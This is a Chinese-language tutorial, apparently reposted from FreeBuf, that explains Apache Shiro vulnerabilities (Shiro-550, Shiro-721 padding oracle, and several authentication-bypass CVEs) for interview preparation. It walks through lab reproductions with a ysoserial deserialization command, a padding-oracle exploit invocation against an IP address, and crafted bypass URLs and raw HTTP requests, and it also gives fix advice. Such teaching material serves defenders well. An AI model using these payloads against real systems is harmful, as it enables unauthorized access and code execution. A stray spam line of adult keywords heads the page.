自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

一文讀懂面試官都在問的Shiro漏洞

安全 應(yīng)用安全
? Apache Shiro 是一個(gè)強(qiáng)大易用的 Java 安全框架,提供了認(rèn)證、授權(quán)、加密和會(huì)話管理等功能,對(duì)于任何一個(gè)應(yīng)用程序,Shiro 都可以提供全面的安全管理服務(wù)。

漏洞簡介

shiro-550主要是由shiro的rememberMe內(nèi)容反序列化導(dǎo)致的命令執(zhí)行漏洞,造成的原因是默認(rèn)加密密鑰是硬編碼在shiro源碼中,任何有權(quán)訪問源代碼的人都可以知道默認(rèn)加密密鑰。于是攻擊者可以創(chuàng)建一個(gè)惡意對(duì)象,對(duì)其進(jìn)行序列化、編碼,然后將其作為cookie的rememberMe字段內(nèi)容發(fā)送,Shiro 將對(duì)其解碼和反序列化,導(dǎo)致服務(wù)器運(yùn)行一些惡意代碼。

特征:cookie中含有rememberMe字段

修復(fù)建議:

  • 更新shiro到1.2.4以上的版本。
  • 不使用默認(rèn)的加密密鑰,改為隨機(jī)生成密鑰。

漏洞原理

一、Shiro簡介

Apache Shiro 是一個(gè)強(qiáng)大易用的 Java 安全框架,提供了認(rèn)證、授權(quán)、加密和會(huì)話管理等功能,對(duì)于任何一個(gè)應(yīng)用程序,Shiro 都可以提供全面的安全管理服務(wù)。

在Apache Shiro<=1.2.4版本中AES加密時(shí)采用的key是硬編碼在代碼中的,于是我們就可以構(gòu)造RememberMe的值,然后讓其反序列化執(zhí)行。

image-20230407145722601

Primary Cocnerns(基本關(guān)注點(diǎn)):

  • Authentication(認(rèn)證):經(jīng)常和登錄掛鉤,是證明用戶說他們是誰的一個(gè)工作
  • Authorization(授權(quán)):訪問控制的過程,即,決定‘誰’可以訪問‘什么
  • Session Management(會(huì)話管理):管理用戶特定的會(huì)話,即使在非web或是EJB的應(yīng)用中
  • Crytography(加密):通過加密算法保證數(shù)據(jù)的安全,且易于使用

Supporting Features(輔助特性):

  • Web Support(網(wǎng)絡(luò)支持):web support API可以幫助在web應(yīng)用中方便的使用shiro
  • Caching(緩存):保證安全操作使用快速有效
  • Concurrency(并發(fā)):支持多線程應(yīng)用
  • Testing(測試):支持集成單元測試
  • Run As(以..運(yùn)行):可以假定用戶為另一個(gè)用戶
  • Remeber Me:記住用戶,無需再次登錄

二、Shiro服務(wù)器識(shí)別身份加解密處理的流程

1、加密
  1. 用戶使用賬號(hào)密碼進(jìn)行登錄,并勾選”Remember Me“。
  2. Shiro驗(yàn)證用戶登錄信息,通過后,查看用戶是否勾選了”Remember Me“。
  3. 若勾選,則將用戶身份序列化,并將序列化后的內(nèi)容進(jìn)行AES加密,再使用base64編碼。
  4. 最后將處理好的內(nèi)容放于cookie中的rememberMe字段。
2、解密
  1. 當(dāng)服務(wù)端收到來自未經(jīng)身份驗(yàn)證的用戶的請(qǐng)求時(shí),會(huì)在客戶端發(fā)送請(qǐng)求中的cookie中獲取rememberMe字段內(nèi)容。
  2. 將獲取到的rememberMe字段進(jìn)行base64解碼,再使用AES解密。
  3. 最后將解密的內(nèi)容進(jìn)行反序列化,獲取到用戶身份。

三、Key

AES加密的密鑰Key被硬編碼在代碼里

漏洞復(fù)現(xiàn)

攻擊機(jī)IP:192.168.0.109

靶機(jī)IP:192.168.72.128

1、訪問靶機(jī)

image-20230413232506236

存在Remember me選項(xiàng),嘗試抓包

image-20230413232641647

2、漏洞利用

Github上工具很多,我們隨便拿一款來進(jìn)行驗(yàn)證

爆破密鑰成功后,即可執(zhí)行命令

image-20230421224623379

Shiro-721反序列化漏洞(CVE-2019-12422)


漏洞簡介

0x01 首先講一下面試官經(jīng)常會(huì)問到的一個(gè)問題

Shiro550和Shiro721的區(qū)別是什么

Shiro550只需要通過碰撞key,爆破出來密鑰,就可以進(jìn)行利用
Shiro721的ase加密的key一般情況下猜不到,是系統(tǒng)隨機(jī)生成的,并且當(dāng)存在有效的用戶信息時(shí)才會(huì)進(jìn)入下一階段的流程所以我們需要使用登錄后的rememberMe Cookie,才可以進(jìn)行下一步攻擊
0x02 漏洞指紋
  • URL中含有Shiro字段
  • cookie中含有rememberMe字段
  • 返回包中含有rememberMe
0x03 漏洞介紹

在Shiro721中,Shiro通過AES-128-CBC對(duì)cookie中的rememberMe字段進(jìn)行加密,所以用戶可以通過Padding Oracle加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,進(jìn)行反序列化攻擊,需要執(zhí)行的命令越復(fù)雜,生成payload需要的時(shí)間就越長。

漏洞原理

由于Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,用戶可通過Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,用有效的RememberMe cookie作為Padding Oracle Attack 的前綴,然后制作精心制作的RememberMe來執(zhí)行Java反序列化攻擊

攻擊流程

登錄網(wǎng)站,并從cookie中獲取RememberMe。使用RememberMe cookie作為Padding Oracle Attack的前綴。加密syserial的序列化有效負(fù)載,以通過Padding Oracle Attack制作精心制作的RememberMe。請(qǐng)求帶有新的RememberMe cookie的網(wǎng)站,以執(zhí)行反序列化攻擊。攻擊者無需知道RememberMe加密的密碼密鑰。

AES-128-CBC

屬于AES加密算法的CBC模式,使用128位數(shù)據(jù)塊為一組進(jìn)行加密解密,即16字節(jié)明文,對(duì)應(yīng)16字節(jié)密文,,明文加密時(shí),如果數(shù)據(jù)不夠16字節(jié),則會(huì)將數(shù)據(jù)補(bǔ)全剩余字節(jié)

  • 若最后剩余的明文不夠16字節(jié),需要進(jìn)行填充,通常采用PKCS7進(jìn)行填充。比如最后缺3個(gè)字節(jié),則填充3個(gè)字節(jié)的0x03;若最后缺10個(gè)字節(jié),則填充10個(gè)字節(jié)的0x0a;
  • 若明文正好是16個(gè)字節(jié)的整數(shù)倍,最后要再加入一個(gè)16字節(jié)0x10的組再進(jìn)行加密

Padding Oracle Attack原理

Padding Oracle攻擊可以在沒有密鑰的情況下加密或解密密文

Shiro Padding Oracle Attack(Shiro填充Oracle攻擊)是一種針對(duì)Apache Shiro身份驗(yàn)證框架的安全漏洞攻擊。Apache Shiro是Java應(yīng)用程序中廣泛使用的身份驗(yàn)證和授權(quán)框架,用于管理用戶會(huì)話、權(quán)限驗(yàn)證等功能。

Padding Oracle Attack(填充Oracle攻擊)是一種針對(duì)加密算法使用填充的安全漏洞攻擊。在加密通信中,填充用于將明文數(shù)據(jù)擴(kuò)展到加密算法塊大小的倍數(shù)。在此攻擊中,攻擊者利用填充的響應(yīng)信息來推斷出加密算法中的秘密信息。

Shiro Padding Oracle Attack利用了Shiro框架中的身份驗(yàn)證過程中的一個(gè)漏洞,該漏洞允許攻擊者通過填充信息的不同響應(yīng)時(shí)間來確定身份驗(yàn)證過程中的錯(cuò)誤。通過不斷嘗試不同的填充方式,攻擊者可以逐步推斷出加密秘鑰,并最終獲取訪問權(quán)限。

這種攻擊利用了填充錯(cuò)誤的身份驗(yàn)證響應(yīng)來獲取關(guān)于秘密信息的信息泄漏,然后根據(jù)這些信息進(jìn)行進(jìn)一步的攻擊。為了防止Shiro Padding Oracle Attack,建議及時(shí)更新Apache Shiro版本,確保已修復(fù)該漏洞,并采取其他安全措施,如使用安全的加密算法和密鑰管理策略。

漏洞復(fù)現(xiàn)

1、拉取環(huán)境

docker pull vulfocus/shiro-721
docker run -d -p 8080:8080 vulfocus/shiro-721

image-20230511102532555

環(huán)境啟動(dòng)完成后,在本地瀏覽器訪問靶場地址:your-ip:8080

image-20230511102842746

2、攻擊環(huán)節(jié)

0x01 登錄成功后,我們從Cookie中獲取到rememberMe字段的值

image-20230511141836711

0x02 使用ysoserial生成Payload

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class

image-20230511113442522

0x03 使用rememberMe值作為prefix,加載Payload,進(jìn)行Padding Oracle攻擊。

python shiro_exp.py http://47.95.201.15:8080/account/ k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class

image-20230511173316224

生成的payload.class內(nèi)容越多時(shí)間就越長,所以盡量選擇較短的命令執(zhí)行來復(fù)現(xiàn)漏洞即可。最終會(huì)生成如下rememberMe cookies

image-20230512112537296

我們將跑出來的Cookie添加到數(shù)據(jù)包中進(jìn)行發(fā)送,就可以 發(fā)現(xiàn)在靶機(jī)中成果創(chuàng)建了對(duì)應(yīng)的文件。

image-20230518155338408

到這未知其實(shí)經(jīng)常遇到的Shrio漏洞已經(jīng)表述的差不多了,下面幾個(gè)是shiro存在但是在現(xiàn)實(shí)中利用難度大或者是比較少的洞,可以簡單了解一下

Shiro 認(rèn)證繞過漏洞(CVE-2020-1957)

漏洞原理

在Apache Shiro 1.5.2以前的版本中,在使用Spring動(dòng)態(tài)控制器時(shí),攻擊者通過構(gòu)造..;這樣的跳轉(zhuǎn),可以繞過Shiro中對(duì)目錄的權(quán)限限制。

URL請(qǐng)求過程:

  • 客戶端請(qǐng)求URL:/xxx/..;/admin/
  • Shrio 內(nèi)部處理得到校驗(yàn)URL為/xxxx/..,校驗(yàn)通過
  • SpringBoot 處理/xxx/..;/admin/, 最終請(qǐng)求/admin/, 成功訪問了后臺(tái)請(qǐng)求。

漏洞復(fù)現(xiàn)

1、權(quán)限配置

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

2、默認(rèn)狀態(tài)

直接請(qǐng)求管理頁面/admin/,無法訪問,將會(huì)被重定向到登錄頁面

image-20230519103636581

3、繞過POC

構(gòu)造惡意請(qǐng)求/xxx/..;/admin/,即可繞過權(quán)限校驗(yàn),訪問到管理頁面:

image-20230519103834717

image-20230519105853459

Shiro 身份驗(yàn)證繞過 (CVE-2020-13933)

漏洞簡介

CVE-2020-11989的修復(fù)補(bǔ)丁存在缺陷,在1.5.3及其之前的版本,由于shiro在處理url時(shí)與spring仍然存在差異,依然存在身份校驗(yàn)繞過漏洞由于處理身份驗(yàn)證請(qǐng)求時(shí)出錯(cuò),遠(yuǎn)程攻擊者可以發(fā)送特制的HTTP請(qǐng)求,繞過身份驗(yàn)證過程并獲得對(duì)應(yīng)用程序的未授權(quán)訪問。

該漏洞產(chǎn)生的原因主要是shiro層在處理url上和spring上存在差異,主要是在處理;上的問題,通過構(gòu)造含有;符號(hào)的url即可繞過shiro在權(quán)限上的處理,而spring不負(fù)責(zé)權(quán)限管控,所以最終會(huì)導(dǎo)致權(quán)限繞過。ant風(fēng)格的路徑僅出現(xiàn)一個(gè)*時(shí)才能成功,而**無法繞過,*:匹配一個(gè)或者多個(gè)任意的字符。

**:匹配零個(gè)或者多個(gè)目錄。

漏洞復(fù)現(xiàn)

1、開啟環(huán)境

image-20230520234113666

2、正常訪問敏感界面

/admin/admin

image-20230520234302554

提示讓我們登錄

3、通過%3b繞過,不觸發(fā)身份驗(yàn)證并且繞過權(quán)限

/admin/%3badmin

image-20230520234555248

Shiro 授權(quán)繞過 (CVE-2022-32532)

漏洞簡介

Apache Shiro是一個(gè)強(qiáng)大且易用的Java安全框架,執(zhí)行身份驗(yàn)證、授權(quán)、密碼和會(huì)話管理。

1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被錯(cuò)誤配置為在某些 servlet 容器上被繞過。在正則表達(dá)式中使用帶有.的 RegExPatternMatcher 的應(yīng)用程序可能容易受到授權(quán)繞過。

漏洞概述

2022年6月29日,Apache 官方披露 Apache Shiro 權(quán)限繞過漏洞(CVE-2022-32532),當(dāng) Apache Shiro 中使用 RegexRequestMatcher 進(jìn)行權(quán)限配置,且正則表達(dá)式中攜帶“.”時(shí),未經(jīng)授權(quán)的遠(yuǎn)程攻擊者可通過構(gòu)造惡意數(shù)據(jù)包繞過身份認(rèn)證。

影響范圍

Apache Shiro < 1.9.1

利用流程

訪問

image-20221224001446418

抓包修改

GET /permit/any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close

image-20221224001506486

需要攜帶token字段

image-20221224001638940

改包繞過

GET /permit/%0any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close

image-20221224002300059

責(zé)任編輯:武曉燕 來源: FreeBuf.COM
相關(guān)推薦

2020-05-11 14:35:11

微服務(wù)架構(gòu)代碼

2020-12-18 09:36:01

JSONP跨域面試官

2023-12-22 19:59:15

2021-08-04 16:06:45

DataOps智領(lǐng)云

2021-11-08 09:18:01

CAS面試場景

2021-12-25 22:31:10

MarkWord面試synchronize

2021-09-04 19:04:14

配置LogbackJava

2023-11-27 17:35:48

ComponentWeb外層

2022-07-05 06:30:54

云網(wǎng)絡(luò)網(wǎng)絡(luò)云原生

2022-10-20 08:01:23

2022-12-01 17:23:45

2022-07-26 00:00:03

語言模型人工智能

2023-05-20 17:58:31

低代碼軟件

2021-12-29 18:00:19

無損網(wǎng)絡(luò)網(wǎng)絡(luò)通信網(wǎng)絡(luò)

2018-09-28 14:06:25

前端緩存后端

2022-09-22 09:00:46

CSS單位

2025-04-03 10:56:47

2022-11-06 21:14:02

數(shù)據(jù)驅(qū)動(dòng)架構(gòu)數(shù)據(jù)

2021-12-16 18:38:13

面試Synchronize

2022-03-13 18:27:09

Redis數(shù)據(jù)庫開源
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)